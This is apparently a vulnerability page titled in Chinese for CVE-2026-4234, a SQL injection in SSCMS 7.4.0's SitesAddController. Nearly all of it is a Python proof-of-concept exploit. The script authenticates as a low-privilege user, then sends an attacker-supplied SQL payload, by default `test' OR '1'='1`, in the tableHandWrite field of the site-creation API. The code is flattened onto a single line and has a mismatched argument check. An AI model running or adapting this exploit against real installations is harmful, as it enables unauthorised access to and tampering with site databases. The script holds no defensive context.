CVE-2026-4234 SSCMS 7.4.0 SitesAddController SQL注入漏洞

import requests import sys # CVE-2026-4234 SSCMS SQL Injection PoC # Target: SSCMS 7.4.0 SitesAddController DDL Handler def exploit_sqli(target_url, username, password, injection_payload): """ Exploit SQL injection in SSCMS 7.4.0 target_url: Base URL of SSCMS installation username: Valid low-privilege user password: User password injection_payload: SQL injection payload for tableHandWrite parameter """ login_url = f"{target_url}/api/login" sites_add_url = f"{target_url}/api/sitesAdd/submit" # Step 1: Authenticate session = requests.Session() login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Exploit SQL injection exploit_data = { "tableHandWrite": injection_payload, "siteName": "TestSite", "siteDir": "test" } exploit_response = session.post(sites_add_url, json=exploit_data, timeout=10) return exploit_response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example payloads if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4234.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] # Basic SQL injection test payload payload = "test' OR '1'='1" print(f"[*] Exploiting CVE-2026-4234 on {target}") result = exploit_sqli(target, user, pwd, payload) if result: print(f"[+] Response: {result}")